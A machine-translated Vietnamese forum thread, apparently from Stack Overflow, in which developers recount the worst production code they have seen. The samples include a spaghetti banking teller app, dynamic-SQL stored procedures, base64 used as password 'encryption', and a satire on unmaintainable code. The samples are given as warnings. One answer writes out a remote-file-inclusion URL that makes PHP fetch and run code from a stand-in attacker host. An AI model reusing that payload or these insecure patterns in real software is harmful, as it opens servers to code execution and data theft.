Mã EVIL nhất mà bạn từng thấy trong môi trường doanh nghiệp sản xuất là gì? [đóng cửa]


76

Đoạn mã xấu nhất hoặc nguy hiểm nhất mà bạn từng thấy trong môi trường sản xuất tại một công ty là gì? Tôi chưa bao giờ gặp phải mã sản xuất mà tôi cho là cố tình độc hại và xấu xa, vì vậy tôi khá tò mò muốn xem những gì người khác đã tìm thấy.

Mã nguy hiểm nhất mà tôi từng thấy là một thủ tục được lưu trữ hai máy chủ được liên kết cách xa máy chủ cơ sở dữ liệu sản xuất cốt lõi của chúng tôi. Thủ tục được lưu trữ đã chấp nhận bất kỳ tham số NVARCHAR (8000) nào và thực thi tham số này trên máy chủ sản xuất mục tiêu thông qua lệnh sp_executeSQL nhảy kép. Có nghĩa là, lệnh sp_executeSQL đã thực thi một lệnh sp_executeSQL khác để chuyển hai máy chủ được liên kết. Ồ, và tài khoản máy chủ được liên kết có quyền sysadmin trên máy chủ sản xuất mục tiêu.


20
Chỉ cần kiểm tra thedailywtf.com cho các công cụ như thế này
Tamas Czinege

Câu trả lời:


331

Cảnh báo: Bài đăng dài đáng sợ phía trước

Tôi đã viết về một ứng dụng mà tôi đã làm việc trước đâyở đây . Nói một cách đơn giản, công ty của tôi thừa hưởng 130.000 dòng rác từ Ấn Độ. Ứng dụng được viết bằng C #; đó là một ứng dụng giao dịch viên, cùng một loại phần mềm mà các giao dịch viên sử dụng sau quầy giao dịch bất cứ khi nào bạn đến ngân hàng. Ứng dụng bị lỗi 40-50 lần một ngày và nó chỉ đơn giản là không thể cấu trúc lại thành mã hoạt động. Công ty của tôi đã phải viết lại toàn bộ ứng dụng trong vòng 12 tháng.

Tại sao ứng dụng này là xấu? Bởi vì cái nhìn của mã nguồn đủ để khiến một người bình thường phát điên và một người bình thường. Logic xoắn được sử dụng để viết ứng dụng này chỉ có thể được lấy cảm hứng từ cơn ác mộng Lovecraftian. Các tính năng độc đáo của ứng dụng này bao gồm:

  • Trong số 130.000 dòng mã, toàn bộ ứng dụng có 5 lớp (không bao gồm các tệp biểu mẫu). Tất cả chúng đều là các lớp tĩnh công cộng. Một lớp được gọi là Globals.cs, chứa 1000s và 1000s và 1000s các biến tĩnh công khai được sử dụng để giữ toàn bộ trạng thái của ứng dụng. Năm lớp đó chứa tổng cộng 20.000 dòng mã, với mã còn lại được nhúng trong các biểu mẫu.

  • Bạn phải tự hỏi, làm thế nào mà các lập trình viên có thể viết một ứng dụng lớn như vậy mà không có bất kỳ lớp nào? Họ đã sử dụng gì để đại diện cho các đối tượng dữ liệu của họ? Hóa ra các lập trình viên đã quản lý để phát minh lại một nửa các khái niệm mà chúng ta đã học về OOP chỉ đơn giản bằng cách kết hợp ArrayLists, HashTables và DataTables. Chúng tôi đã thấy rất nhiều điều này:

    • Mảng Danh sách các bảng băm
    • Bảng băm với các khóa chuỗi và giá trị DataRow
    • ArrayLists of DataTables
    • DataRows chứa ArrayLists chứa HashTables
    • ArrayLists of DataRows
    • ArrayLists of ArrayLists
    • HashTable với các khóa chuỗi và giá trị HashTable
    • ArrayLists of ArrayDanh sách HashTables
    • Mọi sự kết hợp khác của ArrayLists, HashTables, DataTables mà bạn có thể nghĩ đến.

    Hãy nhớ rằng không có cấu trúc dữ liệu nào ở trên được đánh mạnh, vì vậy bạn phải chuyển bất kỳ đối tượng bí ẩn nào bạn ra khỏi danh sách thành đúng loại. Thật ngạc nhiên khi bạn có thể tạo loại cấu trúc dữ liệu phức tạp, giống như Rube Goldberg mà chỉ cần sử dụng ArrayLists, HashTables và DataTables.

  • Để chia sẻ ví dụ về cách sử dụng mô hình đối tượng được nêu chi tiết ở trên, hãy xem xét Tài khoản: lập trình viên ban đầu đã tạo một HashTable riêng biệt cho từng thuộc tính có thể liên kết của tài khoản: một HashTable được gọi là hstAcctExists, hstAcctNeedsOverride, hstAcctFirstName. Chìa khóa cho tất cả các hashtable đó là “|” chuỗi phân cách. Các khóa có thể hiểu được bao gồm “123456 | DDA”, “24100 | SVG”, “100 | LNS”, v.v.

  • Vì trạng thái của toàn bộ ứng dụng có thể dễ dàng truy cập từ các biến toàn cục, các lập trình viên thấy rằng không cần thiết phải truyền tham số cho các phương thức. Tôi muốn nói rằng 90% các phương thức có 0 tham số. Trong số ít các tham số đã làm, tất cả các tham số được chuyển dưới dạng chuỗi để thuận tiện, bất kể chuỗi đó đại diện cho điều gì.

  • Các chức năng không có tác dụng phụ không tồn tại. Mọi phương thức đều sửa đổi 1 hoặc nhiều biến trong lớp Globals. Không phải tất cả các tác dụng phụ đều có ý nghĩa; ví dụ, một trong những phương pháp xác thực biểu mẫu có tác dụng phụ bí ẩn là tính toán các khoản thanh toán quá hạn và ngắn hạn cho các khoản vay cho bất kỳ tài khoản nào được lưu trữ trên Globals.lngAcctNum.

  • Mặc dù có rất nhiều biểu mẫu, nhưng có một biểu mẫu để thống trị tất cả: frmMain.cs, chứa 20.000 dòng mã khổng lồ. FrmMain đã làm gì? Mọi điều. Nó tra cứu tài khoản, in biên lai, rút ​​tiền mặt, nó làm mọi thứ.

    Đôi khi các biểu mẫu khác cần thiết để gọi các phương thức trên frmMain. Thay vì đưa mã ra khỏi biểu mẫu thành một lớp riêng biệt, tại sao không chỉ gọi mã trực tiếp:

    ((frmMain)this.MDIParent).UpdateStatusBar(hstValues);
    
  • Để tra cứu tài khoản, các lập trình viên đã làm như sau:

    bool blnAccountExists =
        new frmAccounts().GetAccountInfo().blnAccountExists
    

    Tệ vì nó đã tạo ra một biểu mẫu vô hình để thực hiện logic nghiệp vụ, làm thế nào bạn nghĩ rằng biểu mẫu biết tài khoản nào để tra cứu? Điều đó thật dễ dàng: biểu mẫu có thể truy cập Globals.lngAcctNum và Globals.strAcctType. (Ai mà không yêu ký hiệu Hungary?)

  • Tái sử dụng mã là từ đồng nghĩa với ctrl-c, ctrl-v. Tôi thấy các phương thức 200 dòng được sao chép / dán trên 20 biểu mẫu.

  • Ứng dụng này có một mô hình phân luồng kỳ lạ, một thứ mà tôi thích gọi là mô hình luồng và bộ đếm thời gian: mỗi dạng tạo ra một luồng đều có một bộ đếm thời gian trên đó. Mỗi luồng được tạo sẽ khởi động một bộ đếm thời gian có độ trễ 200 ms; khi bộ đếm thời gian bắt đầu, nó sẽ kiểm tra xem liệu chuỗi đã đặt một số boolean ma thuật nào đó chưa, sau đó nó sẽ hủy bỏ chuỗi đó. ThreadAbortException kết quả đã bị nuốt.

    Bạn sẽ nghĩ rằng bạn chỉ nhìn thấy mẫu này một lần, nhưng tôi đã tìm thấy nó ở ít nhất 10 nơi khác nhau.

  • Nói về chủ đề, từ khóa "khóa" không bao giờ xuất hiện trong ứng dụng. Chủ đề được thao tác trạng thái toàn cục một cách tự do mà không cần khóa.

  • Mọi phương thức trong ứng dụng đều chứa một khối try / catch. Mọi ngoại lệ đã được ghi lại và nuốt.

  • Ai cần bật enums khi chuyển đổi trên chuỗi cũng dễ dàng!

  • Một số thiên tài đã phát hiện ra rằng bạn có thể kết nối nhiều điều khiển biểu mẫu cho cùng một trình xử lý sự kiện. Lập trình viên đã xử lý điều này như thế nào?

    private void OperationButton_Click(object sender, EventArgs e)
    {
        Button btn = (Button)sender;
        if (blnModeIsAddMc)
        {
            AddMcOperationKeyPress(btn);
        }
        else
        {
            string strToBeAppendedLater = string.Empty;
            if (btn.Name != "btnBS")
            {
                UpdateText();
            }
            if (txtEdit.Text.Trim() != "Error")
            {
                SaveFormState();
            }
            switch (btn.Name)
            {
                case "btnC":
                    ResetValues();
                    break;
                case "btnCE":
                    txtEdit.Text = "0";
                    break;
                case "btnBS":
                    if (!blnStartedNew)
                    {
                        string EditText = txtEdit.Text.Substring(0, txtEdit.Text.Length - 1);
                        DisplayValue((EditText == string.Empty) ? "0" : EditText);
                    }
                    break;
                case "btnPercent":
                    blnAfterOp = true;
                    if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                    {
                        AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, false);
                        decCurrValue = decResultValue * decCurrValue / intFormatFactor;
                        DisplayValue(GetValueString(decCurrValue));
                        AddToTape(GetValueString(decCurrValue), string.Empty, true, false);
                        strToBeAppendedLater = GetValueString(decResultValue).PadLeft(20)
                                                    + strOpPressed.PadRight(3);
                        if (arrLstTapeHist.Count == 0)
                        {
                            arrLstTapeHist.Add(strToBeAppendedLater);
                        }
                        blnEqualOccurred = false;
                        blnStartedNew = true;
                    }
                    break;
                case "btnAdd":
                case "btnSubtract":
                case "btnMultiply":
                case "btnDivide":
                    blnAfterOp = true;
                    if (txtEdit.Text.Trim() == "Error")
                    {
                        btnC.PerformClick();
                        return;
                    }
                    if (blnNumPressed || blnEqualOccurred)
                    {
                        if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                        {
                            if (Operation())
                            {
                                AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
                                DisplayValue(GetValueString(decResultValue));
                            }
                            else
                            {
                                AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
                                DisplayValue("Error");
                            }
                            strOpPressed = btn.Text;
                            blnEqualOccurred = false;
                            blnNumPressed = false;
                        }
                    }
                    else
                    {
                        strOpPressed = btn.Text;
                        AddToTape(GetValueString(0), (string)btn.Text, false, false);
                    }
                    if (txtEdit.Text.Trim() == "Error")
                    {
                        AddToTape("Error", string.Empty, true, true);
                        btnC.PerformClick();
                        txtEdit.Text = "Error";
                    }
                    break;
                case "btnEqual":
                    blnAfterOp = false;
                    if (strOpPressed != string.Empty || strPrevOp != string.Empty)
                    {
                        if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                        {
                            if (OperationEqual())
                            {
                                DisplayValue(GetValueString(decResultValue));
                            }
                            else
                            {
                                DisplayValue("Error");
                            }
                            if (!blnEqualOccurred)
                            {
                                strPrevOp = strOpPressed;
                                decHistValue = decCurrValue;
                                blnNumPressed = false;
                                blnEqualOccurred = true;
                            }
                            strOpPressed = string.Empty;
                        }
                    }
                    break;
                case "btnSign":
                    GetValueDecimal(txtEdit.Text, out decCurrValue);
                    DisplayValue(GetValueString(-1 * decCurrValue));
                    break;
            }
        }
    }
    
  • Cùng một thiên tài cũng đã phát hiện ra nhà điều hành kỳ diệu vinh quang. Dưới đây là một số mẫu mã:

    frmTranHist.cs [line 812]:

    strDrCr = chkCredits.Checked && chkDebits.Checked ? string.Empty
                        : chkDebits.Checked ? "D"
                            : chkCredits.Checked ? "C"
                                : "N";
    

    frmTellTransHist.cs [line 961]:

    if (strDefaultVals == strNowVals && (dsTranHist == null ? true : dsTranHist.Tables.Count == 0 ? true : dsTranHist.Tables[0].Rows.Count == 0 ? true : false))
    

    frmMain.TellCash.cs [line 727]:

    if (Validations(parPostMode == "ADD" ? true : false))
    
  • Đây là đoạn mã cho thấy việc sử dụng sai điển hình của StringBuilder. Lưu ý cách người lập trình nối một chuỗi trong một vòng lặp, sau đó nối chuỗi kết quả vào StringBuilder:

    private string CreateGridString()
    {
        string strTemp = string.Empty;
        StringBuilder strBuild = new StringBuilder();
        foreach (DataGridViewRow dgrRow in dgvAcctHist.Rows)
        {
            strTemp = ((DataRowView)dgrRow.DataBoundItem)["Hst_chknum"].ToString().PadLeft(8, ' ');
            strTemp += "  ";
            strTemp += Convert.ToDateTime(((DataRowView)dgrRow.DataBoundItem)["Hst_trandt"]).ToString("MM/dd/yyyy");
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_DrAmount"].ToString().PadLeft(15, ' ');
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_CrAmount"].ToString().PadLeft(15, ' ');
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_trancd"].ToString().PadLeft(4, ' ');
            strTemp += "  ";
            strTemp += GetDescriptionString(((DataRowView)dgrRow.DataBoundItem)["Hst_desc"].ToString(), 30, 62);
            strBuild.AppendLine(strTemp);
        }
        strCreateGridString = strBuild.ToString();
        return strCreateGridString;//strBuild.ToString();
    }
    
  • Không có khóa chính, chỉ mục hoặc ràng buộc khóa ngoại nào tồn tại trên bảng, gần như tất cả các trường đều thuộc loại varchar (50) và 100% các trường là không thể sử dụng. Điều thú vị là các trường bit không được sử dụng để lưu trữ dữ liệu boolean; thay vào đó, một trường char (1) đã được sử dụng và các ký tự 'Y' và 'N' được sử dụng để biểu thị đúng và sai tương ứng.

    • Nói về cơ sở dữ liệu, đây là một ví dụ đại diện về một thủ tục được lưu trữ:

      ALTER PROCEDURE [dbo].[Get_TransHist]
       ( 
            @TellerID   int = null,
            @CashDrawer int = null,
            @AcctNum    bigint = null,
            @StartDate  datetime = null,
            @EndDate    datetime = null,
            @StartTranAmt     decimal(18,2) = null,
            @EndTranAmt decimal(18,2) = null,
            @TranCode   int = null,
            @TranType   int = null
       )
      AS 
            declare @WhereCond Varchar(1000)
            declare @strQuery Varchar(2000)
            Set @WhereCond = ' '
            Set @strQuery = ' '
            If not @TellerID is null
                  Set @WhereCond = @WhereCond + ' AND TT.TellerID = ' + Cast(@TellerID as varchar)
            If not @CashDrawer is null
                  Set @WhereCond = @WhereCond + ' AND TT.CDId = ' + Cast(@CashDrawer as varchar)
            If not @AcctNum is null
                  Set @WhereCond = @WhereCond + ' AND TT.AcctNbr = ' + Cast(@AcctNum as varchar)
            If not @StartDate is null
                  Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) >= ''' + Convert(varchar,@StartDate,121) + ''''
            If not @EndDate is null
                  Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) <= ''' + Convert(varchar,@EndDate,121) + ''''
            If not @TranCode is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranCode = ' + Cast(@TranCode as varchar)
            If not @EndTranAmt is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranAmt <= ' + Cast(@EndTranAmt as varchar)
            If not @StartTranAmt is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranAmt >= ' + Cast(@StartTranAmt  as varchar)
            If not (@TranType is null or @TranType = -1)
                  Set @WhereCond = @WhereCond + ' AND TT.DocType = ' + Cast(@TranType as varchar)
            --Get the Teller Transaction Records according to the filters
            Set @strQuery = 'SELECT 
                  TT.TranAmt as [Transaction Amount], 
                  TT.TranCode as [Transaction Code],
                  RTrim(LTrim(TT.TranDesc)) as [Transaction Description],
                  TT.AcctNbr as [Account Number],
                  TT.TranID as [Transaction Number],
                  Convert(varchar,TT.ActivityDateTime,101) as [Activity Date],
                  Convert(varchar,TT.EffDate,101) as [Effective Date],
                  Convert(varchar,TT.PostDate,101) as [Post Date],
                  Convert(varchar,TT.ActivityDateTime,108) as [Time],
                  TT.BatchID,
                  TT.ItemID,
                  isnull(TT.DocumentID, 0) as DocumentID,
                  TT.TellerName,
                  TT.CDId,
                  TT.ChkNbr,
                  RTrim(LTrim(DT.DocTypeDescr)) as DocTypeDescr,
                  (CASE WHEN TT.TranMode = ''F'' THEN ''Offline'' ELSE ''Online'' END) TranMode,
                  DispensedYN
            FROM TellerTrans TT WITH (NOLOCK)
            LEFT OUTER JOIN DocumentTypes DT WITH (NOLOCK) on DocType = DocumentType
            WHERE IsNull(TT.DeletedYN, 0) = 0 ' + @WhereCond + ' Order By BatchId, TranID, ItemID'    
            Exec (@strQuery)
      

Với tất cả những gì đã nói, vấn đề lớn nhất đối với ứng dụng 130.000 dòng này: không có bài kiểm tra đơn vị.

Có, tôi đã gửi câu chuyện này cho TheDailyWTF, và sau đó tôi xin nghỉ việc.


61
bóc tách quanh trên sàn nhà, tìm kiếm hàm
Andrew Kennan

57
Thực ra đây là một bài giảng về mã obfuscation.
splattne

58
Và điều đáng buồn là ở đâu đó, một số lập trình viên đã làm việc trên đoạn mã đó, nghĩ rằng họ đã làm rất tốt và đang thể hiện nó trên sơ yếu lý lịch của mình. "Không có kỹ năng và không biết về điều đó"
Sergio Acosta,

38
hey bạn, tôi đã viết mã này adn tôi nghĩ rằng nó rất tốt nếu bạn nghĩ rằng bạn đã cố gắng làm tốt hơn, bạn nên thử
Beska

17
Một phiên bản rất tưới xuống của một số lịch sử quản lý kết thúc trên DailyWTF hôm nay: thedailywtf.com/Articles/eTeller-Horror.aspx
Juliet

70

Tôi đã thấy một chức năng mã hóa mật khẩu như thế này

function EncryptPassword($password)
{
    return base64_encode($password);
}

10
LOL - giống như phát phiếu lương, bảng sao kê ngân hàng, v.v. trong phong bì trong suốt. :-)
Christian Hayter

+1, để haeldar và christian. lmao
Cam

3
Yowch. Tôi đã tìm thấy thứ trông giống như mật khẩu được băm độc đáo trong cơ sở dữ liệu của ứng dụng web thương mại. Hóa ra chúng chỉ là văn bản thuần túy được lưu trữ trong cột VARBINARY nên thoạt nhìn bạn không thể biết được.
Matt Gibson

Thật đáng buồn khi nói, đó về cơ bản là mã hóa mật khẩu trong một dự án mà tôi được thừa kế. Mặc dù chức năng mã hóa base64 được viết tùy chỉnh cũ của họ đã làm sai, vì vậy tôi đoán có rất nhiều điều đó ;-)
Allbite

69

Trong một hệ thống nhận thanh toán bằng thẻ tín dụng, chúng tôi đã sử dụng để lưu trữ số thẻ tín dụng đầy đủ cùng với tên, ngày hết hạn, v.v.

Hóa ra điều này là bất hợp pháp, thật mỉa mai khi chúng tôi đang viết chương trình cho Bộ Tư pháp vào thời điểm đó.


Có ai biết cách amazon giải quyết vấn đề này không? Hoặc nó có hợp pháp nếu bạn yêu cầu sự cho phép của người dùng?
Davy Landman

7
+1 cho phần mỉa mai.
Earlz

@Davy - Các quốc gia khác nhau có các quy tắc khác nhau.
Cameron MacFarland

@Davy - mã hóa. Nó hợp pháp để lưu trữ nếu nó được mã hóa và chỉ có thể truy cập khi cần biết. Có rất nhiều quy tắc về sức mạnh, khả năng giữ chân, DMZ
Luke Schafer

1
Tất nhiên. Từ khi nào luật được áp dụng cho chính phủ?
Loren Pechtel

30

Đây là quy trình xử lý lỗi trong một đoạn mã thương mại:

/* FIXME! */
while (TRUE)
    ;

Tôi đã phải tìm hiểu lý do tại sao "ứng dụng liên tục bị khóa".


2
Có vẻ như cố ý phá hoại tôi!
Chad

1
Thật tốt khi có một FIXME để IDE có thể hướng bạn đến dòng đó.
Josh Lee

7
@Chadworthington: Nếu có chủ ý thì nhận xét đó sẽ là / * ĐỪNG SỬA! * /; P
David

2
Không phải loại thứ này được trình biên dịch tối ưu hóa khi xây dựng bản phát hành thương mại sao?
Attila Kun

3
Trong tình huống này, trình biên dịch đã không "tối ưu hóa" vòng lặp; nó sẽ "tối ưu hóa" thành gì? Ngoài ra, "phá hoại có chủ đích" là một khả năng chắc chắn. "FIXME" có thể là để phủ nhận.
Dour High Arch

28

Sự kết hợp của tất cả các 'Tính năng' của Php sau cùng một lúc.

  1. Đăng ký Globals
  2. Biến số
  3. Bao gồm các tệp từ xa và mã thông qua include ("http: // ...");
  4. Tên mảng / biến thực sự kinh khủng (Ví dụ nghĩa đen):

    foreach( $variablesarry as $variablearry ){
      include( $$variablearry ); 
    }
    

    (Tôi nghĩa là đã mất một giờ cố gắng làm việc ra làm thế nào mà làm việc trước khi tôi nhận ra rằng họ wern't biến giống nhau)

  5. Bao gồm 50 tệp, mỗi tệp bao gồm 50 tệp và mọi thứ được thực hiện tuyến tính / theo thủ tục trên tất cả 50 tệp theo những cách có điều kiện và không thể đoán trước.

Đối với những người không biết biến biến:

$x = "hello"; 
$$x = "world"; 
print $hello # "world" ;

Bây giờ hãy xem xét $ x chứa một giá trị từ URL của bạn (đăng ký phép thuật toàn cầu), vì vậy không nơi nào trong mã của bạn hiển thị rõ ràng biến nào bạn đang làm việc với vì tất cả đều được xác định bởi url.

Bây giờ hãy xem xét điều gì sẽ xảy ra khi nội dung của biến đó có thể là một url được chỉ định bởi người dùng trang web. Có, điều này có thể không hợp lý với bạn, nhưng nó tạo ra một biến có tên url đó, tức là:

$http://google.com,

ngoại trừ nó không thể được truy cập trực tiếp, bạn phải sử dụng nó thông qua kỹ thuật $ kép ở trên.

Ngoài ra, khi người dùng có thể chỉ định một biến trên URL cho biết tệp nào cần bao gồm, có những thủ thuật khó chịu như

http://foo.bar.com/baz.php?include=http://evil.org/evilcode.php

và nếu biến đó xuất hiện trong include($include)

và 'evilcode.php' in bản rõ mã của nó, và Php không được bảo mật thích hợp, php sẽ chỉ tắt, tải xuống evilcode.php và thực thi nó với tư cách là người dùng của máy chủ web.

Web-sever sẽ cấp cho nó tất cả các quyền của nó, v.v., cho phép các cuộc gọi shell, tải xuống các tệp nhị phân tùy ý và chạy chúng, v.v., cho đến khi cuối cùng bạn tự hỏi tại sao bạn có một hộp hết dung lượng đĩa và một dir có 8GB phim lậu lồng tiếng Ý, được chia sẻ trên IRC thông qua bot.

Tôi chỉ biết ơn vì tôi đã phát hiện ra rằng sự tàn bạo trước khi tập lệnh chạy cuộc tấn công quyết định làm một điều gì đó thực sự nguy hiểm như thu thập thông tin cực kỳ bí mật từ cơ sở dữ liệu ít nhiều không được bảo mật: |

(Tôi có thể giải trí dailywtf hàng ngày trong 6 tháng với cơ sở mã đó, tôi không nghĩ vậy. Thật tiếc khi tôi phát hiện ra dailywtf sau khi tôi thoát mã đó)


5
"Tôi chỉ biết ơn vì tôi đã phát hiện ra sự tàn bạo đó trước khi tập lệnh quyết định thu thập cơ sở dữ liệu: |" Sao bạn biết? Đối với tất cả cá heo thâm canh, nó có thể đã làm điều đó mà không ai để ý ...
Piskvor rời xây dựng

Nó có thể có, nhưng các bản ghi cơ sở dữ liệu không cho thấy nhiều điều đó.
Kent Fredric

Bản thân PHP là một anti-pattern.
Thomas Eding

28

Trong tệp tiêu đề chính của dự án, từ một lập trình viên COBOL cũ, người đã viết một trình biên dịch trong C:

int i, j, k;

"Vì vậy, bạn sẽ không gặp lỗi trình biên dịch nếu bạn quên khai báo các biến vòng lặp của mình."


25

Trình cài đặt Windows.


Wow, nó thực sự hài hước VÀ nó là bản gốc!
TM.

Tôi không bao giờ tán thành những trò đùa, nhưng bạn sẽ nhận được +1 cho sự sáng tạo.
Robert S.

Nó không quá tệ miễn là bạn sử dụng đúng công cụ để xây dựng gói (WiX). Biên tập viên VS, và InstallShield, là ác, mặc dù
erikkallen

20

Bài viết Cách viết mã không thể xác định này trình bày một số kỹ thuật tuyệt vời nhất mà con người biết đến. Một số trong số những người yêu thích của tôi là:


Công dụng mới cho tên cho bé

Hãy mua một cuốn sổ đặt tên cho trẻ sơ sinh và bạn sẽ không bao giờ gặp khó khăn với những cái tên biến đổi. Fred là một cái tên tuyệt vời và dễ nhập. Nếu bạn đang tìm kiếm các tên biến dễ nhập, hãy thử adsf hoặc aoeu nếu bạn nhập bằng bàn phím DSK.

Lỗi chính tả sáng tạo

Nếu bạn phải sử dụng biến mô tả và tên hàm, hãy viết sai chính tả. Bằng cách viết sai chính tả trong một số hàm và tên biến, và viết đúng chính tả ở những tên khác (chẳng hạn như SetPintleOpening SetPintalClosing), chúng tôi sẽ phủ nhận việc sử dụng kỹ thuật tìm kiếm grep hoặc IDE một cách hiệu quả. Nó hoạt động tốt một cách đáng kinh ngạc. Thêm hương vị quốc tế bằng cách đánh vần tory hoặc tori ở các rạp / rạp chiếu phim khác nhau.

Hãy trừu tượng

Trong việc đặt tên cho các hàm và biến, hãy sử dụng nhiều các từ trừu tượng như it, everything, data, handle, things, do, routine, performance và các chữ số, ví dụ như routineX48, PerformDataFunction, DoIt, HandleStuff và do_args_method.

Viết hoa

Viết hoa ngẫu nhiên chữ cái đầu tiên của một âm tiết ở giữa một từ. Ví dụ ComputeRasterHistoGram ().

Chữ thường l Trông rất giống chữ số 1

Sử dụng chữ thường l để chỉ các hằng số dài. ví dụ: 10l có nhiều khả năng bị nhầm với 101 mà 10L là. Cấm bất kỳ phông chữ nào phân biệt rõ ràng uvw wW gq9 2z 5s il17 |! J oO08 `'";,. M nn rn {[()]}. Hãy sáng tạo.

Tái chế các biến của bạn

Bất cứ nơi nào cho phép các quy tắc phạm vi, hãy sử dụng lại các tên biến không liên quan hiện có. Tương tự, sử dụng cùng một biến tạm thời cho hai mục đích không liên quan (mục đích để tiết kiệm các vị trí ngăn xếp). Đối với một biến thể kỳ lạ, hãy thay đổi biến, ví dụ: gán một giá trị cho một biến ở đầu một phương thức rất dài, và sau đó ở một nơi nào đó ở giữa, thay đổi ý nghĩa của biến theo cách tinh tế, chẳng hạn như chuyển đổi nó từ tọa độ dựa trên 0 đến tọa độ dựa trên 1. Hãy chắc chắn không ghi lại sự thay đổi ý nghĩa này.

Cd wrttn wtht vwls s mch trsr

Khi sử dụng các chữ viết tắt bên trong tên biến hoặc phương thức, hãy phá vỡ sự nhàm chán bằng một số biến thể cho cùng một từ, và thậm chí thỉnh thoảng đánh vần nó lâu dài. Điều này giúp đánh bại những kẻ lười biếng sử dụng tìm kiếm văn bản để hiểu một số khía cạnh của chương trình của bạn. Hãy coi các cách viết biến thể là một biến thể của mưu đồ, ví dụ như trộn màu Quốc tế với màu Mỹ và kulerz nói dude. Nếu bạn đánh vần tên đầy đủ, chỉ có một cách khả thi để đánh vần từng tên. Những điều này quá dễ dàng để lập trình viên bảo trì nhớ. Bởi vì có rất nhiều cách khác nhau để viết tắt một từ, với các từ viết tắt, bạn có thể có một số biến số khác nhau đều có cùng mục đích rõ ràng. Như một phần thưởng bổ sung, lập trình viên bảo trì thậm chí có thể không nhận thấy chúng là các biến riêng biệt.

Tham chiếu phim ít người biết đến

Sử dụng các tên không đổi như LancelotsFavouriteColour thay vì màu xanh lam và gán giá trị hex cho nó là $ 0204FB. Màu sắc trông giống hệt màu xanh lam thuần túy trên màn hình và một lập trình viên bảo trì sẽ phải tìm ra 0204FB (hoặc sử dụng một số công cụ đồ họa) để biết nó trông như thế nào. Chỉ ai đó thân thiết với Monty Python và Chén Thánh mới biết rằng màu sắc yêu thích của Lancelot là màu xanh lam. Nếu một lập trình viên bảo trì không thể trích dẫn toàn bộ phim Monty Python từ bộ nhớ, anh ta hoặc cô ta không có công việc làm lập trình viên.

Ghi lại điều hiển nhiên

Tiêu mã bằng các nhận xét như / * thêm 1 vào i * / tuy nhiên, đừng bao giờ ghi lại những thứ hấp dẫn như mục đích tổng thể của gói hoặc phương thức.

Tài liệu Không phải Tại sao

Chỉ ghi lại chi tiết về những gì một chương trình thực hiện, không phải những gì nó đang cố gắng hoàn thành. Bằng cách đó, nếu có lỗi, người sửa lỗi sẽ không biết mã phải làm gì.

Phản ứng phụ

Trong C, các hàm được coi là không có ý nghĩa (không có tác dụng phụ). Tôi hy vọng rằng gợi ý là đủ.

Sử dụng bát phân

Chuyển các ký tự bát phân vào danh sách các số thập phân như sau:

array = new int []
{ 
111, 
120, 
013, 
121, 
};

ASCII mở rộng

Các ký tự ASCII mở rộng hoàn toàn hợp lệ dưới dạng tên biến, bao gồm các ký tự ß, Ð và ñ. Chúng hầu như không thể nhập nếu không sao chép / dán trong một trình soạn thảo văn bản đơn giản.

Tên từ các ngôn ngữ khác

Sử dụng từ điển tiếng nước ngoài làm nguồn cho các tên biến. Ví dụ, sử dụng punkt của Đức cho điểm. Các lập trình viên bảo trì, nếu bạn không nắm chắc tiếng Đức, sẽ tận hưởng trải nghiệm đa văn hóa trong việc giải mã ý nghĩa.

Tên từ Toán học

Chọn các tên biến giả dạng toán tử toán học, ví dụ:

openParen = (slash + asterix) / equals;

Mã giả dạng như bình luận và phó bản

Bao gồm các phần mã được chú thích nhưng thoạt nhìn thì không có.

for(j=0; j<array_len; j+ =8)
{ 
total += array[j+0 ]; 
total += array[j+1 ]; 
total += array[j+2 ]; /* Main body of 
total += array[j+3];   * loop is unrolled 
total += array[j+4];   * for greater speed. 
total += array[j+5];   */ 
total += array[j+6 ]; 
total += array[j+7 ]; 
}

Nếu không có mã màu, bạn có nhận thấy rằng ba dòng mã được nhận xét không?

Tên tùy ý giả trang làm từ khóa

Khi lập tài liệu, và bạn cần một tên tùy ý để đại diện cho tên tệp, hãy sử dụng "tệp". Không bao giờ sử dụng tên tùy ý rõ ràng như "Charlie.dat" hoặc "Frodo.txt". Nói chung, trong các ví dụ của bạn, hãy sử dụng các tên tùy ý nghe giống các từ khóa dành riêng nhất có thể. Ví dụ: tên hay cho các tham số hoặc biến sẽ là "bank", "blank", "class", "const", "hằng", "đầu vào", "khóa", "từ khóa", "loại", "đầu ra" , "tham số" "parm", "hệ thống", "loại", "giá trị", "var" và "biến". Nếu bạn sử dụng các từ dành riêng thực tế cho các tên tùy ý của mình, các từ này sẽ bị bộ xử lý lệnh hoặc trình biên dịch của bạn từ chối, thì càng tốt. Nếu bạn làm tốt điều này,

Tên mã không được khớp với tên màn hình

Chọn tên biến của bạn để hoàn toàn không liên quan đến nhãn được sử dụng khi các biến đó được hiển thị trên màn hình. Ví dụ: trên màn hình gắn nhãn trường "Mã bưu điện" nhưng trong mã gọi biến liên quan là "zip".

Chọn nhà điều hành quá tải tốt nhất

Trong C ++, quá tải +, -, *, / để thực hiện những việc hoàn toàn không liên quan đến cộng, trừ, v.v. Sau cùng, nếu Stroustroup có thể sử dụng toán tử shift để thực hiện I / O, tại sao bạn không nên sáng tạo như nhau? Nếu bạn quá tải +, hãy đảm bảo rằng bạn làm theo cách mà i = i + 5; có nghĩa hoàn toàn khác với i + = 5; Dưới đây là một ví dụ về việc nâng sự xáo trộn toán tử quá tải thành một nghệ thuật cao. Quá tải '!' toán tử cho một lớp, nhưng có quá tải không liên quan gì đến việc đảo ngược hoặc phủ định. Làm cho nó trả về một số nguyên. Sau đó, để có được giá trị logic cho nó, bạn phải sử dụng '! ! '. Tuy nhiên, điều này đảo ngược logic, vì vậy [cuộn trống] bạn phải sử dụng '! ! ! '. Đừng nhầm lẫn! toán tử, trả về một boolean 0 hoặc 1, với toán tử phủ định logic ~ bit.

Ngoại lệ

